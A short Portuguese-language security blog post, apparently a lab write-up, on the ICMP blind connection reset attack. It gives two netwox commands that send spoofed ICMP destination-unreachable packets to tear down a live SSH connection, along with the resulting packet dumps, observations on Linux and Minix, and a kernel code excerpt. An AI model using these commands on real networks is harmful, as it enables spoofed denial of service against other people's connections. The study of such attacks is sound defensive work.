jump to navigation

ICMP Blind Connection Reset Attack December 12, 2007

Posted by y2h4ck in Network Security.
trackback

O ataque de ICMP Blind Connection Reset consiste em enviar pacotes forjados a partir de uma origem que comunica-se
com outro host, afim de efetuar o reset na comunicação enviando pacotes ICMP com a flag ICMP-type-3.

Usaremos 2 tools do Netwox para executar este ataque.

* netwox 41 -ip4-dontfrag -ip4-src gamera.syr.edu -ip4-dst 192.168.27.129 -icmp-type 3 -icmp-code 4 -spoofip “best”

Esta tool apenas envia pacotes ICMP type code 4 para a máquina alvo com o ip spoofado do host gamera.syr.edu,
a maquina alvo está conectada ao gamera via SSH. O pacote IP malicioso não foi atachado no pacote enviado para o Host.
O Host aparentemente ignora a mensagem porém a conexão é perdida. O Pacote gerado foi o seguinte:

IP______________________________________________________________.
|version| ihl | tos | totlen |
|___4___|___5___|____0×00=0_____|___________0×001C=28___________|
| id |r|D|M| offsetfrag |
|__________0×12F2=4850__________|0|1|0|________0×0000=0_________|
| ttl | protocol | checksum |
|____0×00=0_____|____0×01=1_____|____________0xF8D1_____________|
| source |
|_________________________128.230.18.14_________________________|
| destination |
|________________________192.168.27.129_________________________|
ICMP4_destination unreachable_fragmentation needed______________.
| type | code | checksum |
|____0×03=3_____|____0×04=4_____|_________0xFCFB=64763__________|
| reserved |
|_________________________0×00000000=0__________________________|
| bad IP packet : |

Both Minix and Linux were immuned to this fake message.
* netwox 82 -device “Eth3″ -code 4 -src-ip 192.168.27.129 -spoofip “best”
Esta ferramenta monitora o trefago e depois atacha os primeiros 64 bytes do pacote TCP enviado na mensagem ICMP.
Esta tool é muito poderosa e com ela é possivel quebrar a comunicação tanto em sistemas Linux quando Minix3. O pacote gerado
pela ferramenta é o seguinte:

Ethernet________________________________________________________.
| 00:0C:29:B5:47:DE->00:0C:29:B5:47:DE type:0×0800 |
|_______________________________________________________________|
IP______________________________________________________________.
|version| ihl | tos | totlen |
|___4___|___5___|____0×00=0_____|___________0×0038=56___________|
| id |r|D|M| offsetfrag |
|__________0×24B0=9392__________|0|0|0|________0×0000=0_________|
| ttl | protocol | checksum |
|___0xFF=255____|____0×01=1_____|____________0xDEC1_____________|
| source |
|________________________192.168.27.129_________________________|
| destination |
|________________________192.168.27.129_________________________|
ICMP4_destination unreachable_host______________________________.
| type | code | checksum |
|____0×03=3_____|____0×01=1_____|_________0×7E66=32358__________|
| reserved |
|_________________________0×00000000=0__________________________|
| bad IP packet : |
IP______________________________________________________________.
|version| ihl | tos | totlen |
|___4___|___5___|____0×00=0_____|___________0×0058=88___________|
| id |r|D|M| offsetfrag |
|__________0×008A=138___________|0|1|0|________0×0000=0_________|
| ttl | protocol | checksum |
|____0×05=5_____|____0×06=6_____|____________0×05F9_____________|
| source |
|________________________192.168.27.129_________________________|
| destination |
|_________________________128.230.18.14_________________________|
80 01 00 16 d0 9d 2d e3 # ……-.

Com este pacote formatado é possivel quebrar a conexão entre duas maquinas. Porém se você sniffar verá que o code de
pacote que ele reporta é o 1 e não o 4, como se o ataque não tivesse sido realizado.
Abaixo segue o codigo fonte que faz este tipo de ataque possível.

O algoritmo é algo similar a isto:

case ICMP_FRAG_NEEDED:
if (ipv4_config.no_pmtu_disc) {
LIMIT_NETDEBUG(KERN_INFO “ICMP: %u.%u.%u.%u: “
“fragmentation needed “
“and DF set.\n”,
NIPQUAD(iph->daddr));
} else {
info = ip_rt_frag_needed(iph,
ntohs(icmph->un.frag.mtu));
if (!info)
goto out;
}
break;

Comments»

No comments yet — be the first.